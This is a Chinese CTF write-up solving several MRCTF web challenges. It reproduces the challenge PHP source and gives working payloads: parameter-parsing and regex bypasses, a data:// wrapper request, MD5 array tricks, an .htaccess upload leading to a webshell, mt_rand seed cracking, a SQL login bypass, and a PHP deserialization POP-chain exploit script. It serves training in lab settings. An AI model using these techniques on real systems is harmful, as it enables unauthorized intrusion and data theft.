前言:今天复现一下MRCTF的题并记录下
复现地址除了buuoj.cn还有ctf.merak.codes
打开题目查看源码
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
$_SERVER['QUERY_STRING']
指服务器请求时?后面的参数;具体见PHP超全局变量$ _SERVER
第一个if语句告诉我们参数不能匹配_
和%5f
,但是第二个if语句要我们传参b_u_p_t
,我们可以利用PHP的字符串解析特性Bypass,绕过方法:
b u p t
或b.u.p.t
,当然理论上也可以用URL编码绕过,但不巧被过滤了;
第二个if正则匹配/^23333$/
但又不能是23333,这种正则匹配,可以使用%0a
换行绕过,第一层套娃成功绕过:
打开得到的secrettw.php
文件后查看源码:
得到一串jsfuck编码,拿到Console运行得到
随便POST传参一个值给Merak得到源码:
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."
";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
首先看到已经包含了文件flag.php,下面一个change
函数先不管,看下面的if语句要求我们ip
为本地,并且GET
一个参数,对于file_get_contents
函数一般搭配php伪协议
效果更佳,这里用data://
伪协议绕过;最后echo file_get_contents(change($_GET['file']));
要输出的文件无疑是flag.php
,对于change
函数我们写一个解密函数:
$v = 'flag.php';
function dechange($v) {
$re = '';
for ($i = 0; $i < strlen($v); $i++) {
$re .= chr(ord($v[$i]) - $i * 2);
}
return base64_encode($re);
}
echo dechange($v);
//ZmpdYSZmXGI=
因此payload如下:
/secrettw.php?2333=data:text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=
打开题目是一个网页,往下翻~
一上来就PY,当然是不可能的,查看源码~
通过前端进行交易,但是这个md5解不开,没法拿到授权码;但是看到了/flag.php
,直接访问
关键词IP
圈起来要考,告诉我们验证逻辑是在后端,看来前端的授权码验证是假的;还告诉我们只有自己和购买者知道flag,那么就XFF
伪造一下
打开题目得到源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
MRCTF的签到题,审计一下代码:第一层,md5不能处理数组,用数组绕过;第二层,php弱类型
文件上传,fuzz一下,发现后端有验证,应该是不能上传含有ph的文件,直接传是行不通了;不过上传漏洞就那几种,查看一下服务器是Apache,所以考虑.htaccess
来解析jpg图片,首先上传一个.htaccess
文件;
文件内容:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
由于有MIME
验证,所以上传时需要修改Content-Type
为image/jpeg
,上传成功后再上传一个jpg
后缀的木马,服务器会将.jpg
格式的文件自动解析为.php
文件从而绕过检测达到getshell目的。
最后蚁剑连接:
根目录找到flag。
这道题主要考了源码泄露
,伪随机数
,代码审计
打开题目是一个网站,不过没用,直接扫描一下:
下载下来得到index.php
:
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "".$row["username"]." ".$row["flag"]." ";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
好家伙,看似这么长一段源码,其实过程很简单:
前半部分主要是验证密钥private_key
,如果密钥正确就连接数据库查询flag,SQL语句没有什么过滤,构造一个简单的SQL查询布尔值true就能直接登录;
后半部分则是通过mt_rand()
函数生成公私钥,并给出了公钥;
关于mt_rand()函数介绍,我们的目的是获取私钥,所以只能从mt_rand()
函数下手
php默认运行模式下,一个进程第一次调用了该函数后(生成了第一个种子),后续只要是同一个进程对这个函数的请求,都会共享最初的种子
所以只要知道了种子,就能推出私钥;接下来通过php_mt_seed
工具爆破种子,但先需要写个脚本,把给定的公钥KVQP0LdJKRaV3n9D
还原成php_mt_seed
参数的形式,才能用它爆破种子
# -*- coding: UTF-8 -*-
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print res
得到:
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
把上面这串数字丢进php_mt_rand
爆破:
得到随机数种子:1775196155
再然后还是利用源码里的密钥生成函数计算出私钥:
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ($i = 0; $i < $length; $i++) {
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
}
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ($i = 0; $i < $length; $i++) {
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
}
return $private_key;
}
echo public_key() . "\n";
echo private_key();
得到私钥:XuNhoueCDCGc
最后访问开始已经扫描出的login.html
:
用户名:crispr
;密码直接上万能密码
登录得到flag
Ezpop
题目:
Welcome to index.php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
可以看到Modifier类中有文件包含,且提示flag在flag.php中,因此我们的目的是能够读到include(flag.php)
,虽然过滤了几个协议,但filter没被过滤。
只有3个类,从反序列化开始分析:
- 首先反序列化之后会触发
__wakeup()
,通过preg_match()
将$this->source
做字符串比较,从而触发__toString()
方法
__toString()
访问了str
的source
属性,这时如果我们让str
等于Test
类对象,由于Test
中没有source
属性,就会触发__get()
方法。
__get()
方法将p
作为函数使用,而我们再让$p
等于Modifier
类的话,__invoke()
方法就会触发
__invoke()
调用了append()
函数从而包含flag.php
exp:
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show {
public $source;
public $str;
}
class Test {
public $p;
}
$a = new Show();
$b = new Test();
$a->str = $b;
$b->p = new Modifier();
$a->source = $a;
$long = serialize($a);
echo urlencode($long);
传给pop参数,即可得到flag.php的base64,解码得到flag